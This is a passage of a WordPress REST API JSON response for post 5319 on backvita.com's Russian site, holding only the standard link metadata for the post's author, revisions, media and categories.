comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/5319"}],"collection":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/comments?post=5319"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/5319\/revisions"}],"predecessor-version":[{"id":6332,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/5319\/revisions\/6332"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media\/3517"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media?parent=5319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/categories?post=5319"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/tags?post=5319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}